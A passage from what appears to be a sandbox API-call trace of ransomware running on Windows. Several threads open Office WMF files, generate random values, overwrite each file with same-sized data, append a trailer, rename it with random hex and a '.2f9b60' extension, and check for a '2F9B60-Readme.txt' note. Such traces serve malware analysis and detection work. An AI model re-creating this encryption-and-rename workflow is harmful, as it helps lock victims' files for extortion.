out: Seed=0x27d5f9d0) returned 0x4b3112cb [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x12c40546 [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x342b68f1 [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x162b63f2 [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x2b520d86 [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0xa1fdbea [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0xeea827c [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x56910dab [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x760c347b [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x3d4d16a7 [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x34e2ddfd [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0xda8e58c [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x666eed1a [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x164db3d [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0xcaa8e7d [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x4016b0c3 [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x3de57370 [0210.808] ReadFile (in: hFile=0x16cc, lpBuffer=0x42b356b0, nNumberOfBytesToRead=0x980, lpNumberOfBytesRead=0x27d5f9d0, lpOverlapped=0x0 | out: lpBuffer=0x42b356b0*, lpNumberOfBytesRead=0x27d5f9d0*=0x980, lpOverlapped=0x0) returned 1 [0210.808] SetFilePointerEx (in: hFile=0x16cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.809] WriteFile (in: hFile=0x16cc, lpBuffer=0x42b40ae0*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x27d5f9d4, lpOverlapped=0x0 | out: lpBuffer=0x42b40ae0*, lpNumberOfBytesWritten=0x27d5f9d4*=0x980, lpOverlapped=0x0) returned 1 [0215.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d40 [0215.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431359e0 [0215.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431359e0) returned 1 [0215.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b40ae0) returned 1 [0215.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b356b0) returned 1 [0215.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24c20) returned 1 [0215.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a10) returned 1 [0215.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x431359e0 [0215.382] SetFilePointerEx (in: hFile=0x16cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.382] WriteFile (in: hFile=0x16cc, lpBuffer=0x423aa530*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27d5faf0, lpOverlapped=0x0 | out: lpBuffer=0x423aa530*, lpNumberOfBytesWritten=0x27d5faf0*=0x10a, lpOverlapped=0x0) returned 1 [0217.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8bf0 [0217.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8bf0) returned 1 [0217.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8bf0 [0217.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8fb0 [0217.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8fb0) returned 1 [0217.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.746] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="b4") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="fc") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="20") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="00") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="6e") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="4c") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="29") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="b3") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="86") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="4f") returned 2 [0217.746] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="9e") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="f2") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="d2") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="d7") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="a0") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="38") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="8b") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="ab") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="28") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="e2") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="34") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.747] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="89") returned 2 [0217.747] RtlInitAnsiString (in: DestinationString=0x27d5fb68, SourceString="b4fc3b20006e4c29b3864f9ef2d2d7a0388bab28e2345b89" | out: DestinationString="b4fc3b20006e4c29b3864f9ef2d2d7a0388bab28e2345b89") [0217.747] RtlAnsiStringToUnicodeString (in: DestinationString=0x27d5fb38, SourceString="b4fc3b20006e4c29b3864f9ef2d2d7a0388bab28e2345b89", AllocateDestinationString=1 | out: DestinationString="b4fc3b20006e4c29b3864f9ef2d2d7a0388bab28e2345b89") returned 0x0 [0217.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430ea240 [0217.748] wcscat (in: _Dest=0x4314fe80, _Source="b4fc3b20006e" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b4fc3b20006e") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b4fc3b20006e" [0217.748] wcscat (in: _Dest=0x4314fe80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b4fc3b20006e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b4fc3b20006e.2f9b60" [0217.748] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b4fc3b20006e.2f9b60", NtPathName=0x27d5fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b4fc3b20006e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe050 Thread: id = 3551 os_tid = 0x1ef0 [0210.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf")) returned 0x20 [0210.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF", dwFileAttributes=0x20) returned 1 [0210.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xce0 [0210.727] GetFileSizeEx (in: hFile=0xce0, lpFileSize=0x29dcfce0 | out: lpFileSize=0x29dcfce0*=2452) returned 1 [0210.727] SetFilePointerEx (in: hFile=0xce0, liDistanceToMove=0x990, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.727] ReadFile (in: hFile=0xce0, lpBuffer=0x29dcfc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29dcfca8, lpOverlapped=0x0 | out: lpBuffer=0x29dcfc60*, lpNumberOfBytesRead=0x29dcfca8*=0x4, lpOverlapped=0x0) returned 1 [0210.733] SetFilePointerEx (in: hFile=0xce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9df0 [0210.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0210.734] NtQuerySystemTime (in: CurrentTime=0x29dcfba0 | out: CurrentTime=0x29dcfba0*=132462178155994000) returned 0x0 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x48eed59 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x25d50d04 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x5c2cb174 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x55710257 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x6f0d584 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0xb2b7c6b [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x323ffe7a [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x2306faf0 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x56083f3b [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x226f2e30 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x4542ddad [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x57051576 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0xca958d6 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x36f1403c [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x35d4b5b7 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x4f31f3af [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x606e9f6a [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x54d59c14 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x6004434c [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x55c40bd3 [0210.735] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x74f2139e [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x3e2263ca [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x27e00012 [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x61a47d6b [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x6474fa3e [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x6957e7f2 [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x7736c527 [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x12ef938f [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x53d92201 [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x75dcb298 [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x14b67913 [0210.736] RtlRandomEx (in: Seed=0x29dcfb90 | out: Seed=0x29dcfb90) returned 0x41bacd2d [0210.747] ReadFile (in: hFile=0xce0, lpBuffer=0x428345f0, nNumberOfBytesToRead=0x994, lpNumberOfBytesRead=0x29dcfb90, lpOverlapped=0x0 | out: lpBuffer=0x428345f0*, lpNumberOfBytesRead=0x29dcfb90*=0x994, lpOverlapped=0x0) returned 1 [0210.747] SetFilePointerEx (in: hFile=0xce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.747] WriteFile (in: hFile=0xce0, lpBuffer=0x42b085f0*, nNumberOfBytesToWrite=0x994, lpNumberOfBytesWritten=0x29dcfb94, lpOverlapped=0x0 | out: lpBuffer=0x42b085f0*, lpNumberOfBytesWritten=0x29dcfb94*=0x994, lpOverlapped=0x0) returned 1 [0215.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b650 [0215.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c160 [0215.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c160) returned 1 [0215.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b085f0) returned 1 [0215.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428345f0) returned 1 [0215.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24220) returned 1 [0215.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61740) returned 1 [0215.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313c160 [0215.367] SetFilePointerEx (in: hFile=0xce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.367] WriteFile (in: hFile=0xce0, lpBuffer=0x423aa9b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x423aa9b0*, lpNumberOfBytesWritten=0x29dcfcb0*=0x10a, lpOverlapped=0x0) returned 1 [0217.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0217.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b20) returned 1 [0217.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0217.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ef0 [0217.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ef0) returned 1 [0217.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.717] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="73") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="6d") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="69") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="10") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="45") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="35") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="e0") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="d0") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="91") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="9e") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="fb") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="a2") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="f6") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="bd") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="8f") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="73") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="fa") returned 2 [0217.717] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="25") returned 2 [0217.718] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="65") returned 2 [0217.718] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="b3") returned 2 [0217.718] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="98") returned 2 [0217.718] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="7f") returned 2 [0217.718] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="dd") returned 2 [0217.718] RtlInitAnsiString (in: DestinationString=0x29dcfd28, SourceString="736d69104535e0d0919efb5ba2f6bd8f73fa2565b3987fdd" | out: DestinationString="736d69104535e0d0919efb5ba2f6bd8f73fa2565b3987fdd") [0217.718] RtlAnsiStringToUnicodeString (in: DestinationString=0x29dcfcf8, SourceString="736d69104535e0d0919efb5ba2f6bd8f73fa2565b3987fdd", AllocateDestinationString=1 | out: DestinationString="736d69104535e0d0919efb5ba2f6bd8f73fa2565b3987fdd") returned 0x0 [0217.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430ea080 [0217.718] wcscat (in: _Dest=0x43150400, _Source="736d69104535" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\736d69104535") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\736d69104535" [0217.719] wcscat (in: _Dest=0x43150400, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\736d69104535.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\736d69104535.2f9b60" [0217.719] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\736d69104535.2f9b60", NtPathName=0x29dcfcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\736d69104535.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205fd20 [0222.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205fd20) returned 1 [0222.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ba340) returned 1 [0222.206] NtQueryInformationFile (in: FileHandle=0xce0, IoStatusBlock=0x29dcfd38, FileInformation=0x29dcfd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29dcfd38, FileInformation=0x29dcfd48) returned 0x0 [0222.206] NtSetInformationFile (FileHandle=0xce0, IoStatusBlock=0x29dcfd38, FileInformation=0x29dcfd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43150400) returned 1 [0223.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430ea080) returned 1 [0223.258] FlushFileBuffers (hFile=0xce0) returned 1 [0223.999] CloseHandle (hObject=0xce0) returned 1 [0224.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac420 [0224.870] wcscpy (in: _Dest=0x202ac420, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0224.870] wcscat (in: _Dest=0x202ac420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0224.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0x20 [0224.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac420) returned 1 [0224.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9440) returned 1 Thread: id = 3552 os_tid = 0x1f38 [0210.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf")) returned 0x20 [0210.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF", dwFileAttributes=0x20) returned 1 [0210.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcec [0210.729] GetFileSizeEx (in: hFile=0xcec, lpFileSize=0x24aef8a0 | out: lpFileSize=0x24aef8a0*=3230) returned 1 [0210.729] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0xc9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.729] ReadFile (in: hFile=0xcec, lpBuffer=0x24aef820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24aef868, lpOverlapped=0x0 | out: lpBuffer=0x24aef820*, lpNumberOfBytesRead=0x24aef868*=0x4, lpOverlapped=0x0) returned 1 [0210.750] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0210.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0210.751] NtQuerySystemTime (in: CurrentTime=0x24aef760 | out: CurrentTime=0x24aef760*=132462178156150000) returned 0x0 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x214c6990 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x323dd807 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x2b279fb3 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x2826a0f6 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x27327707 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x17fafc38 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x71595107 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x3a0a3a84 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x6ce4ae7b [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x313652b6 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x12aff6b [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x6b6d131c [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x3198b33d [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x593e6c36 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x565311f [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x6e777cb3 [0210.751] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x28a0939f [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x11d2642c [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x2b92383d [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x27e00012 [0210.752] RtlRandomEx (in: Seed=0x24aef750 | out: Seed=0x24aef750) returned 0x43a57d33 [0210.752] 